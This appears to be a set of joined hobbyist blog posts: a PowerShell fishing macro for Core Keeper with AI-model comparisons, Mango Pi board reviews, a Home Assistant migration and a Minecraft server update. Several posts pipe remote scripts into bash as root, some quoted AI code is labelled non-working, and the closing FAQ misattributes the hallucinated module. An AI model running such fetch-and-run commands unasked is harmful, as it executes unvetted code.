MouseSimulator class to handle mouse events Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class MouseSimulator { [DllImport("user32.dll", SetLastError = true)] public static extern void mouse_event(uint dwFlags, uint dx, uint dy, uint dwData, IntPtr dwExtraInfo); public const uint MOUSEEVENTF_RIGHTDOWN = 0x0008; public const uint MOUSEEVENTF_RIGHTUP = 0x0010; public static void RightClick() { mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, IntPtr.Zero); mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, IntPtr.Zero); } } "@ # Create WScript.Shell object to interact with windows $shell = New-Object -ComObject WScript.Shell # Activate the game window $activated = $shell.AppActivate("Core Keeper") if (-not $activated) { Write-Host "Failed to activate Core Keeper window. Please ensure the game is running." exit } # Infinite loop to perform the clicks and waits Write-Host "Starting click automation. Press Ctrl+C to stop." while ($true) { Write-Host "Performing first right click..." [MouseSimulator]::RightClick() Start-Sleep -Seconds 8 Write-Host "Performing second right click..." [MouseSimulator]::RightClick() Start-Sleep -Seconds 1 } The way you use the bot is to move your character to the spot in Core Keeper that you want to fish at and put your mouse cursor over the tile you will be fishing. Now minimize the game and open the start menu and type “PowerShell”. You should see Windows PowerShell come up as an option to open up. Open PowerShell and simply paste the code. By default the code waits 8 second and then reels in. You may need to adjust this depending on your fishing skill. When I was getting close to 100 fishing I had to lower the sleep timer down to 7 and even closer to 6 seconds. This is done by adjusting the line that says “Start-Sleep -Seconds 8”. Simply change this to the number of seconds that is appropriate for your fishing power. Once you have it tuned it won’t get 100% of all of the fish but it will get most of them. It got me to level 100 fishing fairly quickly. Gemini’s Failed Attempts I have access to the “Pro” version of Gemini due to my Pixel 9 Pro Fold coming with 1 year of it. My prompt to Gemini was: Write a simple fishing bot in Windows PowerShell that sends a right click to the window titled “Core Keeper” and waits 6 seconds then right clicks to reel in the fish, then about 1 second later casts again to wait another 6 seconds and repeat Pretty dang similar to what I gave to Grok 3. What was the result? This: # Requires the 'SendInput' module. Install if needed: # Install-Module -Name SendInput Add-Type -AssemblyName System.Windows.Forms # Function to send a right-click to a specific window function Send-RightClickToWindow { param( [string]$WindowTitle ) # Find the window by title $window = Get-Process | Where-Object {$_.MainWindowTitle -like "*$WindowTitle*"} if ($window) { # Bring the window to the foreground (activate it) [System.Windows.Forms.Application]::Activate($window.MainWindowHandle) Start-Sleep -Milliseconds 100 # Short pause to let the window activate # Send a right-click using SendInput module (more reliable than mouse_event) [WindowsInput.InputSimulator]::new().Mouse.RightButtonClick() Write-Host "Right-click sent to '$WindowTitle'" } else { Write-Warning "Window '$WindowTitle' not found." } } # Main fishing loop while ($true) { # Cast (Right-click) Send-RightClickToWindow -WindowTitle "Core Keeper" # Wait for the fish to bite (adjust timing as needed) Write-Host "Waiting for bite (6 seconds)..." Start-Sleep -Seconds 6 # Reel in (Right-click) Send-RightClickToWindow -WindowTitle "Core Keeper" # Wait before casting again (adjust timing as needed) Write-Host "Reeling and preparing to cast again (1 second)..." Start-Sleep -Seconds 1 } Write-Host "Fishing bot stopped." # This line will likely never be reached in the infinite loop. Oh boy. Right off the bat we’re trying to install a PowerShell module called SendInput? What on earth is that? Does it even exist? Gemini code errors It sure doesn’t! There is no such thing. It’s not real. This is a hallucination. It’s not the only mistake Gemini made either. There’s also this line: [System.Windows.Forms.Application]::Activate($window.MainWindowHandle) That looks pretty reasonable at first glance. The problem? There is no such static method available. This is *also* a hallucination. No matter how many times I responded back to Gemini (which recognized that the method didn’t exist) it kept giving me code that tried to utilize this invalid method. That’s a fail. ChatGPT’s Failed Attempts So how about ChatGPT? Here was my prompt: Write a simple fishing bot in Windows PowerShell that sends a right click to the window titled “Core Keeper” and waits 6 seconds then right clicks to reel in the fish Here is what I got: Add-Type @" using System; using System.Runtime.InteropServices; public class WinAPI { [DllImport("user32.dll", SetLastError = true)] public static extern IntPtr FindWindow(string lpClassName, string lpWindowName); [DllImport("user32.dll", SetLastError = true)] public static extern IntPtr PostMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam); } "@ $WM_RBUTTONDOWN = 0x0204 $WM_RBUTTONUP = 0x0205 # Find the Core Keeper window $gameWindow = [WinAPI]::FindWindow($null, "Core Keeper") if ($gameWindow -eq [IntPtr]::Zero) { Write-Host "Core Keeper window not found!" exit } function Send-RightClick { param($hWnd) # Simulate right mouse button down [WinAPI]::PostMessage($hWnd, $WM_RBUTTONDOWN, [IntPtr]::Zero, [IntPtr]::Zero) Start-Sleep -Milliseconds 100 # Simulate right mouse button up [WinAPI]::PostMessage($hWnd, $WM_RBUTTONUP, [IntPtr]::Zero, [IntPtr]::Zero) } while ($true) { Write-Host "Casting fishing rod..." Send-RightClick -hWnd $gameWindow Start-Sleep -Seconds 6 Write-Host "Reeling in..." Send-RightClick -hWnd $gameWindow Start-Sleep -Seconds 1 } Again, like Gemini that looks pretty reasonable but the code has several problems. The FindWindow method it’s using never finds the window. I asked ChatGPT to try using an alternative method to find the window and it decided to use Get-Process instead to find the process ID. It spit out a more complicated version that could not find the window either. How About Deepseek R1? Oh I just knew you were going to ask. Interestingly DeepSeek R1 generated almost the exact same code as ChatGPT: Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class User32 { [DllImport("user32.dll")] public static extern IntPtr FindWindow(string lpClassName, string lpWindowName); [DllImport("user32.dll")] public static extern bool SetForegroundWindow(IntPtr hWnd); [DllImport("user32.dll")] public static extern int SendMessage(IntPtr hWnd, uint Msg, int wParam, int lParam); } "@ # Replace "Core Keeper" with the exact window title of the game $windowTitle = "Core Keeper" $hWnd = [User32]::FindWindow($null, $windowTitle) if ($hWnd -eq [IntPtr]::Zero) { Write-Host "Window '$windowTitle' not found!" exit } # Bring the game window to the foreground [User32]::SetForegroundWindow($hWnd) | Out-Null # Simulate right-click (mouse button down and up) function Simulate-RightClick { [User32]::SendMessage($hWnd, 0x0204, 0x0002, 0) # Right mouse button down Start-Sleep -Milliseconds 50 [User32]::SendMessage($hWnd, 0x0205, 0x0002, 0) # Right mouse button up } # Loop to perform the actions while ($true) { # First right-click Simulate-RightClick Start-Sleep -Seconds 8 # Second right-click Simulate-RightClick Start-Sleep -Seconds 1 # Recast (right-click again) Simulate-RightClick Start-Sleep -Seconds 8 } This bot suffers from the exact same issues as the ChatGPT one. The problem is identical. That FindWindow approach it is taking does not work properly. Interestingly DeepSeek R1 made a mistake that no other AI made. If you look at the loop it put my recast inside the main loop: while ($true) { # First right-click Simulate-RightClick Start-Sleep -Seconds 8 # Second right-click Simulate-RightClick Start-Sleep -Seconds 1 # Recast (right-click again) Simulate-RightClick Start-Sleep -Seconds 8 } That’s actually 3 actions. Both other AIs understood that I wanted it to cast once and then reel it in and repeat that sequence over and over. DeepSeek R1 instead made it cast, reel in, and then cast again and then it restarts the loop (which is the wrong behavior). So, hail China? Not yet. To my surprise DeepSeek R1 actually did the worst on this task despite being a deep thinking model. Conclusion Grok 3 absolutely nailed it. It is what it is. It’s the only one that could that I tried. ChatGPT and Gemini could not get it right no matter how many prompts I gave them. DeepSeek R1 not only made the same mistake as ChatGPT but made additional ones in interpreting what I was asking for (such as casting *twice* in the same loop instead of casting once and then reeling in like it should). I want to see more of whatever Grok is doing so that it’s not straight up making things up in a coding context (such as libraries and modules that don’t even exist). The hallucinations are completely inappropriate for coding. ChatGPT and Gemini still suffer *heavily* from these hallucinations (even in a coding context). Was it necessary to get an AI to write this script for me? No. I’ve been scripting / coding for a long time and could have easily wrote this on my own. The point of the exercise though was to evaluate whether these tools are actually getting good enough to reliably write basic scripts / code without hallucinating. The answer? They’re getting a lot closer and Grok 3 seems to be leading the pack right now! Which AI model actually produced a working Core Keeper fishing bot script?Grok 3 was the only model to output functional code on the first try. It correctly used Add-Type to import user32.dll for mouse event simulation, paired with WScript.Shell to activate the game window.Why did ChatGPT and Deepseek fail to generate the bot?They hallucinated non-existent PowerShell modules and incorrectly suggested using SendInput libraries or FindWindow/PostMessage APIs, which either require .NET compilation overhead or failed to interact properly with the game window.What is the optimal timing interval for the Core Keeper bot loop?The script defaults to an 8-second Start-Sleep interval, but as player fishing skill increases and cast lines travel further, you will typically need to reduce this to 6–7 seconds to catch fish efficiently. #### Mango Pi MQ Pro D1 Ubuntu (P)review MangoPi MQ-Pro D1 w/ Ubuntu (P)review Recently Ubuntu has received official preview images for some RISC-V boards. One of those boards is (indirectly) the MangoPi MQ Pro! RISC-V boards have been available for a while but the software support lags that of ARM substantially. It’s steadily catching up though with an official Ubuntu preview out as well as official OpenJDK support coming soon. Today I wanted to review the MangoPi MQ Pro D1 (Revision 1.4) as well as look at the experience of the Ubuntu preview version on it acknowledging that this isn’t the final release of Ubuntu for RISC-V boards yet and is just a developer preview. My intent is to simply see what the experience is like and get an idea of what is already working and what isn’t ready yet. Let’s get started! Table of Contents Toggle Hardware UsedBuild QualityImages AvailableTesting UbuntuFixing WiFiConnecting to WiFi (persistently)Note on BluetoothOpenJDK AvailabilityBenchmarking I/O PerformancePros / ConsProsConsConclusionOther Resources Hardware Used MangoPi MQ-Pro D1 The MangoPi MQ Pro Revision 1.4 has a very bold pink PCB as well as USB-C ports, options for 512MB or 1GB of RAM, WiFi and Bluetooth and a single core 1GHz D1 processor. Links: AliExpress*, Alt AliExpress* Geekworm Copper Heatsink Set The Geekworm copper heatsink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heatsink kits for SBCs don’t have. Eliminates hotspots and reduces throttling. Can be further enhanced by powered cooling over the heatsinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Build Quality Let’s take a closer look at the board. Here is the top view: MangoPi MQ-Pro D1 – Top View The PCB is honestly beautiful. Look at the gold rings lining the solder holes for the GPIO pins. Tracing is clearly visible. Here is the bottom view: MangoPi MQ-Pro D1 – Bottom View The edges of the board are very clean. I’ve reviewed a lot of boards lately and this one you can tell that they care and are proud of the board. Images Available The official images for the MangoPi MQ Pro are available here. Right now this consists of an Armbian distribution and a Tina-Linux distribution. The official Ubuntu download page for the RISC-V platform is here. Once you go to the official Ubuntu download page you will choose the “AllWinner Nezha” section like this: Ubuntu Downloads Page – RISC-V AllWinner Nezha Keep in mind this image isn’t intended for our exact board. It seems to be compatible though as they share the AllWinner D1 chip. I strongly recommend using the newer 22.10 version. Some drivers still don’t seem to be present but the newer kernel you have the better off you will be as this is the bleeding edge (it’s literally a developer preview). Testing Ubuntu I imaged my SD card with Ubuntu 22.10 and put it into the device. I used a USB to Ethernet adapter so I could get a headless network connection to the device and I logged in over SSH with the default credentials: ubuntu/ubuntu After the mandatory password change I then updated the device with: sudo apt update && sudo apt full-upgrade -y Fixing WiFi I first noticed that the WiFi and Bluetooth weren’t present for the board. The MangoPi MQ Pro is using the rtl8723ds. I searched apt for rtl8723ds and there is a package available for another board that has this driver (licheerv-rtl8723ds-dkms). sudo apt install licheerv-rtl8723ds-dkms net-tools wireless-tools rfkill This took a very long time to build the module on my device (at least an hour). Once it is finally done you can either reboot the device or use: sudo modprobe 8723ds Bingo! You should now have a wireless card: root@ubuntu:/home/ubuntu# iwconfig lo no wireless extensions. usb0 no wireless extensions. enx3c18a07c2cb9 no wireless extensions. wlan0 unassociated Nickname:"<WIFI@REALTEK>" Mode:Auto Frequency=2.412 GHz Access Point: Not-Associated Sensitivity:0/0 Retry:off RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality=0/100 Signal level=0 dBm Noise level=0 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0 Connecting to WiFi (persistently) Since this is Ubuntu we need to use netplan to set up the WiFi connection. To do this we will edit the file /etc/netplan/50-cloud-init.yaml: sudo nano /etc/netplan/50-cloud-init.yaml We are going to modify the file and add the “wifis” section like this: network: ethernets: zz-all-en: dhcp4: true match: name: en* optional: true zz-all-eth: dhcp4: true match: name: eth* optional: true version: 2 wifis: wlan0: optional: true access-points: "YourSSID": password: "YourPassword" dhcp4: true Note that the spacing is *extremely* sensitive with YAML. You should paste your code into a YAML validator and make sure you don’t have any spacing errors as they will break the file. Now let’s apply the netplan configuration with: sudo netplan --debug generate sudo netplan --debug apply Now let’s check iwconfig again: root@ubuntu:/etc/netplan# iwconfig lo no wireless extensions. usb0 no wireless extensions. enx3c18a07c2cb9 no wireless extensions. wlan0 IEEE 802.11bgn ESSID:"jamesachambers.net" Nickname:"<WIFI@REALTEK>" Mode:Managed Frequency:2.437 GHz Access Point: 24:5A:XX:XX:XX:XX Bit Rate:72.2 Mb/s Sensitivity:0/0 Retry:off RTS thr:off Fragment thr:off Encryption key:****-****-****-****-****-****-****-**** Security mode:open Power Management:off Link Quality=0/100 Signal level=-55 dBm Noise level=0 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0 You’ve now configured netplan and will persistently connect to the network! Note on Bluetooth The Bluetooth radio also isn’t present. Installing the WiFi driver does not fix this unfortunately. I’m not sure how to get the onboard Bluetooth going on here yet. We will score this one as not working for right now for the purposes of the review. OpenJDK Availability Finally it was time to answer one of my original questions: is Ubuntu including the new OpenJDK RISC builds? The answer: ubuntu@ubuntu:~$ sudo apt search openjdk | grep 'openjdk-' | grep '\-jre' WARNING: apt does not have a stable CLI interface. Use with caution in scripts. openjdk-11-jre/kinetic 11.0.16+8-0ubuntu1 riscv64 openjdk-11-jre-headless/kinetic 11.0.16+8-0ubuntu1 riscv64 openjdk-17-jre/kinetic 17.0.4+8-1 riscv64 openjdk-17-jre-headless/kinetic 17.0.4+8-1 riscv64 openjdk-18-jre/kinetic 18.0.2+9-2 riscv64 openjdk-18-jre-headless/kinetic 18.0.2+9-2 riscv64 openjdk-19-jre/kinetic 19+36-2 riscv64 openjdk-19-jre-headless/kinetic 19+36-2 riscv64 openjdk-19-jre-zero/kinetic 19+36-2 riscv64 openjdk-20-jre/kinetic 20~17ea-2 riscv64 openjdk-20-jre-headless/kinetic 20~17ea-2 riscv64 openjdk-20-jre-zero/kinetic 20~17ea-2 riscv64 Excellent, there is a wide range of versions available in here. Very impressive! Benchmarking I/O Performance You can verify the performance of your SD card on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash Here are the results: Category Test Result HDParm Disk Read 11.36 MB/s HDParm Cached Disk Read 11.37 MB/s DD Disk Write 9.5 MB/s FIO 4k random read 1501 IOPS (6005 KB/s) FIO 4k random write 757 IOPS (3028 KB/s) IOZone 4k read 4334 KB/s IOZone 4k write 2130 KB/s IOZone 4k random read 4229 KB/s IOZone 4k random write 2519 KB/s Score: 718 The full MangoPi MQ-Pro D1 benchmark can be viewed here on Pi Benchmarks. This is a pretty slow result performance wise. I wasn’t surprised because you can feel it as you’re using the board. The 1GB of RAM is fantastic but you only have a single CPU core to work with and it’s not a very high powered one. The average score for a Pi 3 is something like 900 points and for a Pi Zero the average is slightly under that. In other words it’s slightly slower than a Pi Zero at 718 points. The board will turn heads for it’s looks but not for it’s performance for sure. To be clear I think the performance on it is fine but just want to give the context of what to expect. A Pi Zero isn’t very fast and this is slightly slower than that so keep that in mind for your use cases. It’s a great board for low performance applications or services but should not be expected to carry a heavy load. Pros / Cons Pros Quite inexpensive at prices ranging from ~$22-27 Can run Ubuntu with everything but the Bluetooth working Very stylish and bold appearance 1GB of RAM option available which can be hard to come by on boards of this size Cons Only has a single core 1GHz CPU so performance is limited to services/applications that don’t need a lot of processing power Image selection is limited (but improving) Conclusion The new Ubuntu support is looking fantastic. It’s everything you would expect from a supported Ubuntu distribution. There are definitely problems (I couldn’t get the Bluetooth going) but since the WiFi is fixable I’d guess this is ready for early adopters or anyone who wants to try using a RISC board to start playing with. If you have one of these boards already you should absolutely try the new Ubuntu distribution! If you are wanting a really cheap board to start playing with the RISC architecture on with the new Ubuntu support coming there’s honestly never been a better time. Considering these are available for < $25 this is a pretty cheap and fun way to get into RISC. It will probably be ready for the general public in 6-12 months and come out of developer preview within that time frame would be my guess. It definitely seems on track for it to me. The board itself is quite the eye catcher. My wife highly approves of the board’s visual aesthetics (and not just because it’s pink, it’s the style and lettering on the back with phrases like “Your tiny-tiny-tiny Card Computer”. The quality seems great especially for the price. Let’s be clear that this is not a high performance board as it only has a single core. This is meant for lower-powered applications and use cases for sure. I definitely would recommend getting the heat sink kit for this board. I put a copper heat sink on mine that I’ve linked to in the “Hardware Used” section. This should keep the board running stable and for a long time! Other Resources Check out my Sispeed LicheeRV review here for another great RISC-V board option If you are interested in alternatives to the Compute Module check out my BIGTREETECH CB1 review here I’ve reviewed a ton of different SBC options lately here #### Mango Pi MQ-Quad SBC Review MangoPi MQ-Quad Single Board Computer Review I have reviewed the Mango Pi MQ-Pro (a RISC-V board) in the past and I was impressed enough that I wanted to try one of Mango Pi’s other boards. Unfortunately this one is not a RISC-V board but it is much, much more powerful than the Mango Pi MQ Pro as it has a quad-core processor instead of a single core one. Today we’ll be taking a look at the Mango Pi MQ-Quad single board computer including the available operating systems, the specifications, build quality as well as do some performance benchmarking to see how well the board performs. Let’s get started! Table of Contents Toggle Hardware UsedSpecificationsBuild QualityAvailable ImagesPerformance BenchmarkingPros / ConsProsConsConclusionOther Resources Hardware Used MangoPi MQ-Quad The Mango Pi MQ-Quad is a quad-core board with 1GB of RAM that has a very similar form factor to a Raspberry Pi Zero Links: AliExpress* Geekworm Copper Heat Sink Set The Geekworm copper heat sink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heat sink kits for SBCs don’t have. Eliminates hot spots and reduces throttling. Can be further enhanced by powered cooling over the heat sinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Specifications Quad-Core A53 up to 1.5GHz Power-efficient ARM v8 architecture with VFPv4 FPU G31 GPU supports OpenGL ES1.0/2.0/3.2, Vulkan 1.1, OpenCL 2.0 1GByte DDR3L onboard AXP313A PMU HDMI and CVBS output Audio output USB2.0 OTG x 1 USB2.0 HOST x 1 ephy 100Mbps and emac(RGMII) Optional SPI-Nor/Nand Chip Build Quality The board comes with the external WiFi antenna as well as the color-coded GPIO headers. The headers do not come soldered but they are included. A heat spreader The build quality of the board is great. Here’s a view of the top of the board: MangoPi MQ-Quad – Top View Just like the Mango Pi MQ-Pro they’ve managed to include USB-C on this board! This is one of my main complaints about the Raspberry Pi Zero 2 so it’s nice to see it included here. And the view of the bottom of the board: MangoPi MQ-Quad – Bottom View I really like that they’ve labeled all of the connections and even chips on the board. The traces are very clearly visible. The board looks great just like the Mango Pi MQ-Pro. Everything feels securely soldered and durable. Available Images The official page for the Mango Pi MQ-Quad images is here. Unfortunately one of the biggest weaknesses of the board is there are not very many images available. The choices are: Tina Linux Debian Android 10 TV For this review I used the Debian image. There is not an Armbian distribution available for the Mango Pi MQ-Quad that I could find (official or unofficial). If you know if one let me know if the comments! This is a pretty poor choice for operating systems so anyone considering this board should be comfortable with either Debian or Tina Linux (or Android 10 TV). Interestingly the Debian image seems to actually be an Orange Pi Zero 2 image. In fact when you log into the Debian distribution you will get the Orange Pi welcome screen. I suppose this means that the images are pretty close in compatibility to Orange Pi Zero 2 images (which makes sense as they share the H616). Performance Benchmarking You can verify the performance of your drive on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash Here are the results: Category Test Result HDParm Disk Read 22.39 MB/s HDParm Cached Disk Read 22.28 MB/s DD Disk Write 21.2 MB/s FIO 4k random read 1611 IOPS (6445 KB/s) FIO 4k random write 862 IOPS (3451 KB/s) IOZone 4k read 5295 KB/s IOZone 4k write 1755 KB/s IOZone 4k random read 4280 KB/s IOZone 4k random write 2960 KB/s Score: 905 The full Mango Pi MQ-Quad benchmark can be viewed here on Pi Benchmarks. Funny enough my board identifies itself as a Orange Pi Zero 2. I suppose that is what happens when the official image for the Mango Pi is a Orange Pi image. As far as the score goes this is a very comparable score to a Raspberry Pi Zero W. It’s slightly less than a Raspberry Pi Zero 2 but it’s closer to a Zero 2 than it is to the Zero. Pros / Cons Pros Powerful quad-core H616 CPU Form factor of Raspberry Pi Zero Cons Very limited selection of images available Can be hard to find outside of AliExpress Conclusion I wasn’t as impressed with this board as I was with the Mango Pi MQ-Pro. I think the reason for that is that it’s not using the RISC-V architecture. As a generic ARM board I feel like there are choices with better support such as Orange Pi and Libre Computers. You’ll have a much wider selection of operating systems with those boards (and in fact often the exact same chips that are in this board). It seems a little silly that they are distributing Orange Pi’s operating system for their boards and that my board actually identifies itself as an Orange Pi Zero 2. At that point it seems like you should just buy the Orange Pi Zero 2 since that’s the software you are using anyway. That being said this board has the form factor of the Raspberry Pi Zero. That gives it some versatility that may make it make sense over an Orange Pi or Libre Computers board as neither of those companies sell boards in this form factor. If you need the Raspberry Pi Zero form factor (or something as small as it is) then this board starts to make a lot more sense. With the prices of the board on AliExpress ranging from $27 – $35 it’s not as cheap as a Raspberry Pi Zero / Zero 2 is on paper. In this market though (or in reality) it’s way cheaper than what you can likely get either of the Raspberry Pi Zero models for. It’s definitely worth considering what you can get this board for (and how available it is) vs. using a Raspberry Pi. This board would be a good choice for a project that is fine running a generic Debian distribution (or Tina Linux). It’s very powerful and gives you 1GB of RAM and is much easier to get your hands on than many competing models. If a generic Debian distribution doesn’t sound like what you need / want to use for your project then this board is probably not a good choice for that. I highly recommend using cooling with the board. The H616 is known to run hot and you will experience a lot more throttling without having at least a heat sink on it. There is an option in some of the AliExpress listings to get a heat sink that spans the entire length of the board and mounts to it securely with thermal pads. You can also use my recommended Geekworm ones*. I’d recommend the Libre Computers boards if you need better Raspberry Pi compatibility. If you just need a generic ARM quad-core board though this board may very well fit the bill for you if you need the Pi Zero form-factor. Other Resources Don’t miss my Mango Pi MQ-Pro RISC-V SBC Review here #### Migrate Home Assistant to Orange Pi 5 Orange Pi 5 running Home Assistant I’ve been running my Home Assistant instance on a very old Tinker Board S with a 16GB eMMC. This has been working fine for a month or two but I recently started getting notifications that my Home Assistant instance was out of drive space. Sure enough, even after removing all of my backups there is almost no space left. I’ve already received reports from my readers about how much better of an experience Home Assistant is running on an Orange Pi 5. Not only is the CPU much more powerful than something like a Raspberry Pi 4 or Tinker Board S but it has a NVMe storage slot. These two things combined make it a great choice for running your Home Assistant instance. My previous install is a core installation but I’m going to use supervised on the Orange Pi 5. In this guide I’ll show you how I migrated my instance step by step and evaluate the performance improvement at the end. Let’s get started! Table of Contents Toggle Hardware UsedBackup InstanceOrange Pi 5 ConfigurationInstalling DependenciesInstall OS AgentInstall DockerInstall SupervisorTrick Supervisor to install on Armbian/Ubuntu (optional)Change Hostname (optional)Configure orangepienv.txtRestore BackupFinal ResultOther Resources Hardware Used Orange Pi 5 The Orange Pi 5 the latest release from Orange Pi and is the most powerful model yet. It has a 6 core CPU and options from 4GB of RAM all the way up to 32GB of RAM! Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl* Geekworm Copper Heatsink Set The Geekworm copper heatsink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heatsink kits for SBCs don’t have. Eliminates hotspots and reduces throttling. Can be further enhanced by powered cooling over the heatsinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Kioxia 2230 M2 NVMe Drive The Kioxia (Toshiba) 128GB M.2 2230 PCIe NVMe drive is much shorter than most NVMe drives (full size is 2280). It fits great with single board computers / tablets / other smaller form factors. Links: Amazon.com*, Amazon.ca*, Amazon.co.uk*, Amazon.co.jp*, Amazon.com.au*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Backup Instance The first thing we need to do is back up your existing Home Assistant installation. To do this go to Settings->System->Backups. I recommend creating a fresh one right at the time you do your migration. Click “+ Create backup” in the bottom right of the screen. Choose to do a full backup. Once it’s done click on the backup and you should see this screen: Home Assistant – Backup Click the 3 dots in the bottom right of the popup to get an option to download the full backup. Go ahead and download a copy now for us to restore later. Orange Pi 5 Configuration Installing Dependencies I first recommend becoming root with: sudo su Now install the dependencies with: apt-get install jq wget curl udisks2 libglib2.0-bin network-manager dbus apparmor-utils systemd-journal-remote lsb-release -y Install OS Agent Check what the latest version of the OS Agent is here at their GitHub page. At time of writing it was 1.5.1. You should update the commands below with the latest version from the GitHub page instead of 1.5.1. Download the aarch64.deb version. We’re now going to install the Home Assistant OS Agent with: wget https://github.com/home-assistant/os-agent/releases/download/1.5.1/os-agent_1.5.1_linux_aarch64.deb dpkg -i os-agent_1.5.1_linux_aarch64.deb Install Docker Docker is required as well. To install it: curl -fsSL https://get.docker.com -o get-docker.sh sudo sh ./get-docker.sh Install Supervisor Next up is the Home Assistant supervisor. We can install the latest version with: wget https://github.com/home-assistant/supervised-installer/releases/latest/download/homeassistant-supervised.deb dpkg -i homeassistant-supervised.deb Choose raspberrypi4-64 as the type in the menu that comes up. Trick Supervisor to install on Armbian/Ubuntu (optional) Recently I moved my installation to Armbian using Ubuntu. I did this by editing /etc/os-release: PRETTY_NAME="Debian GNU/Linux 11 (bullseye)" NAME="Ubuntu" VERSION_ID="22.04" VERSION="22.04.2 LTS (Jammy Jellyfish)" VERSION_CODENAME=jammy ID=ubuntu ID_LIKE=debian HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" UBUNTU_CODENAME=jammy If you are having trouble installing the homeassistant-supervised.deb package try changing the PRETTY_NAME in your /etc/os-release file like I am showing above. This tricks the supervisor into thinking you are running the correct operating system. I have not experienced any problems doing this with Armbian. If you are using Armbian then when you reach the “Configure orangepienv.txt” section below your file will actually be armbianEnv.txt. You should put the extraargs in that step in /boot/armbianEnv.txt instead of /boot/orangepienv.txt. Change Hostname (optional) I wanted to give my Orange Pi 5’s installation the exact same host name as my core Home Assistant installation. To do this you can use this command: sudo hostnamectl set-hostname homeassistant I also changed the static lease in my router to point to the Orange Pi with the old IP address instead of the Tinker Board S. Configure orangepienv.txt We need to make some changes to the kernel boot parameters so that you don’t receive warnings related to AppArmor. Add the following line to the bottom of /boot/orangepiEnv.txt: extraargs=apparmor=1 security=apparmor systemd.unified_cgroup_hierarchy=false systemd.legacy_systemd_cgroup_controller=false Now reboot the Orange Pi with: sudo reboot Restore Backup Now you should be able to navigate in your browser to your Home Assistant IP address on port 8123 with: http://192.168.X.X:8123 You should see this screen: Home Assistant – Restore Click to restore from a backup as I’ve circled in the screenshot above. Choose your backup you downloaded earlier. You’ll get a confirmation on whether you’d like to wipe the device and restore the backup. Confirm your choice and it will begin restoring the backup. Final Result Home Assistant – Unsupported Since I used Armbian I get a “Unsupported system – Operating System” warning. You can safely ignore this warning honestly. They even give you an “Ignore” option. The Armbian distribution is based on Debian Bullseye so I am not expecting any problems from this. Everything is back to how it was: Home Assistant – Final Result Recompiling my devices in things like ESPHome is *much* faster now. I never doubted it because the tips my readers give me are usually outstanding. I also now have access to NVMe storage which is not only much faster but much larger than my Tinker Board’s built in eMMC. I don’t expect my Orange Pi 5’s 128GB drive to get filled up very quickly but if it does I’ll put one of my 512GB or 1TB modules in there. This process was easy enough that swapping out the drive wouldn’t be too big of a deal (even reinstalling the OS). I highly recommend the Orange Pi 5 as a Home Assistant host and will be keeping mine on there! Other Resources I’ve also covered how to install Steam on the Orange Pi 5 here Make sure to check out my Orange Pi 5 review here I’ve also made a smart button and a smart one-key action key for Home Assistant You can see all of my Home Assistant related articles here #### Minecraft 1.17 Caves and Cliffs Paper Server Update Available Minecraft 1.17 – Caves and Cliffs Update The 1.17 Caves and Cliffs Part 1 version of Minecraft came out for vanilla very recently but until now the Paper Minecraft server was not available for it. This means that my Raspberry Pi Minecraft script was unable to run this version until now. Today I checked the Paper Minecraft API server available versions and sure enough 1.17 was finally in the version list so I updated the Raspberry Pi Minecraft server scripts and they are now available! Raspberry Pi not required, the script will work on most versions of Linux that have apt available. Table of Contents Toggle Important NotesInstallationBenchmarking / Testing Storage Important Notes The minimum OpenJDK requirement has gone all the way up to OpenJDK 16 for this release. This presents a challenge because the Raspberry Pi OS repositories only contain up to OpenJDK 11! Fortunately the script will take care of this for you using a trick with snapd to install a newer OpenJDK. This does require a reboot so prepare beforehand!Back up your server first. Remember if you use 1.17 and it ends up being too laggy or unstable you can’t change back to the old version because the server files now contain data the old versions don’t understand and will crash on. You can go back by restoring a backup from before the first time you ran 1.17! Installation SSH into your Raspberry Pi and paste the following commands: curl https://raw.githubusercontent.com/TheRemote/RaspberryPiMinecraft/master/SetupMinecraft.sh | bash See the full installation post for more information here: Raspberry Pi Minecraft Server Setup Script w/ Startup Service Full GitHub project repository available at: Official GitHub Raspberry Pi Minecraft Repository Benchmarking / Testing Storage If you want to verify your drive’s performance you may want to run my storage benchmark with: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you search for the model of your drive on Pi Benchmarks you can compare your score with others and make sure the drive is performing correctly! #### Minecraft Bedrock Dedicated Server Resource Pack / RTX Guide Minecraft Bedrock Dedicated Server with RTX Enabled Resource Pack On December 8th NVIDIA officially released RTX support on Minecraft Bedrock Edition for Windows 10. To use this feature you need to have a resource pack installed. Fortunately the dedicated server not only supports resource packs, but in this guide I will show you how to set it up so that resource packs are automatically downloaded to 